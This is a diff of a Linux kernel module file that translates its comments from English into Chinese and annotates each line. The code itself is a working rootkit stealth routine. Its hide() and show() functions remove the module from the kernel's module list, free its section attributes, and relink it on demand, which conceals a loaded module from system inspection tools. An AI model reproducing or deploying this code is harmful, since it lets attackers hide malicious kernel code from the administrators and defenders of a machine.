|
|
|
@ -2,77 +2,93 @@
|
|
|
|
|
#include <linux/mutex.h> // 包含互斥锁的头文件
|
|
|
|
|
#include <linux/slab.h> // 包含内存分配的头文件
|
|
|
|
|
|
|
|
|
|
#include "module.h" // 包含自定义模块的
|
|
|
|
|
#include "module.h" // 包含自定义模块的头文件
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* @file module.c
|
|
|
|
|
* @brief This file contains functions to hide and show a kernel module.
|
|
|
|
|
* @brief 本文件包含用于隐藏和显示内核模块的函数。
|
|
|
|
|
*
|
|
|
|
|
* The functions in this file allow for hiding and showing a kernel module
|
|
|
|
|
* by manipulating the module list and its attributes.
|
|
|
|
|
* 文件中的函数通过操作模块列表及其属性,实现内核模块的隐藏和显示功能。
|
|
|
|
|
*/
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* @brief Flag indicating whether the module is hidden (1) or visible (0).
|
|
|
|
|
* @brief 标记模块是否被隐藏(1)或可见(0)。
|
|
|
|
|
*/
|
|
|
|
|
int hide_m = 0;
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* @brief Pointer to the previous module list entry.
|
|
|
|
|
* @brief 指向模块列表前一个条目的指针。
|
|
|
|
|
*/
|
|
|
|
|
static struct list_head *mod_list;
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* @brief Hide the kernel module.
|
|
|
|
|
* @brief 隐藏内核模块。
|
|
|
|
|
*
|
|
|
|
|
* This function removes the module from the module list and frees its section
|
|
|
|
|
* attributes, effectively hiding it from the system.
|
|
|
|
|
* 该函数从模块列表中移除模块,并释放其段属性,从而使其在系统中不可见。
|
|
|
|
|
*/
|
|
|
|
|
void hide(void);
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* @brief Show the kernel module.
|
|
|
|
|
* @brief 显示内核模块。
|
|
|
|
|
*
|
|
|
|
|
* This function adds the module back to the module list, making it visible
|
|
|
|
|
* to the system again.
|
|
|
|
|
* 该函数将模块重新添加到模块列表中,使其在系统中再次可见。
|
|
|
|
|
*/
|
|
|
|
|
void show(void);
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* @brief Toggle the visibility of the kernel module.
|
|
|
|
|
* @brief 切换内核模块的可见性。
|
|
|
|
|
*
|
|
|
|
|
* This function hides the module if it is currently visible, and shows it
|
|
|
|
|
* if it is currently hidden.
|
|
|
|
|
* 该函数在模块当前可见时隐藏模块,在模块当前隐藏时显示模块。
|
|
|
|
|
*/
|
|
|
|
|
void hide_module(void);
|
|
|
|
|
|
|
|
|
|
void hide(void)
|
|
|
|
|
{
|
|
|
|
|
while (!mutex_trylock(&module_mutex))
|
|
|
|
|
cpu_relax();
|
|
|
|
|
mod_list = THIS_MODULE->list.prev;
|
|
|
|
|
list_del(&THIS_MODULE->list);
|
|
|
|
|
kfree(THIS_MODULE->sect_attrs);
|
|
|
|
|
THIS_MODULE->sect_attrs = NULL;
|
|
|
|
|
mutex_unlock(&module_mutex);
|
|
|
|
|
|
|
|
|
|
hide_m = 1;
|
|
|
|
|
// 尝试获取模块互斥锁,如果失败则让CPU放松
|
|
|
|
|
while (!mutex_trylock(&module_mutex))
|
|
|
|
|
cpu_relax();
|
|
|
|
|
|
|
|
|
|
// 保存当前模块列表的前一个条目
|
|
|
|
|
mod_list = THIS_MODULE->list.prev;
|
|
|
|
|
|
|
|
|
|
// 从模块列表中删除当前模块
|
|
|
|
|
list_del(&THIS_MODULE->list);
|
|
|
|
|
|
|
|
|
|
// 释放模块的段属性
|
|
|
|
|
kfree(THIS_MODULE->sect_attrs);
|
|
|
|
|
|
|
|
|
|
// 将模块的段属性设置为NULL
|
|
|
|
|
THIS_MODULE->sect_attrs = NULL;
|
|
|
|
|
|
|
|
|
|
// 释放模块互斥锁
|
|
|
|
|
mutex_unlock(&module_mutex);
|
|
|
|
|
|
|
|
|
|
// 设置模块隐藏标志
|
|
|
|
|
hide_m = 1;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void show(void)
|
|
|
|
|
{
|
|
|
|
|
while (!mutex_trylock(&module_mutex))
|
|
|
|
|
cpu_relax();
|
|
|
|
|
list_add(&THIS_MODULE->list, mod_list);
|
|
|
|
|
mutex_unlock(&module_mutex);
|
|
|
|
|
|
|
|
|
|
hide_m = 0;
|
|
|
|
|
// 尝试获取模块互斥锁,如果失败则让CPU放松
|
|
|
|
|
while (!mutex_trylock(&module_mutex))
|
|
|
|
|
cpu_relax();
|
|
|
|
|
|
|
|
|
|
// 将模块重新添加到模块列表中
|
|
|
|
|
list_add(&THIS_MODULE->list, mod_list);
|
|
|
|
|
|
|
|
|
|
// 释放模块互斥锁
|
|
|
|
|
mutex_unlock(&module_mutex);
|
|
|
|
|
|
|
|
|
|
// 设置模块可见标志
|
|
|
|
|
hide_m = 0;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void hide_module(void)
|
|
|
|
|
{
|
|
|
|
|
// 如果模块当前可见,则隐藏模块
|
|
|
|
|
if (hide_m == 0)
|
|
|
|
|
hide();
|
|
|
|
|
// 如果模块当前隐藏,则显示模块
|
|
|
|
|
else if (hide_m == 1)
|
|
|
|
|
show();
|
|
|
|
|
}
|
|
|
|
|
}
|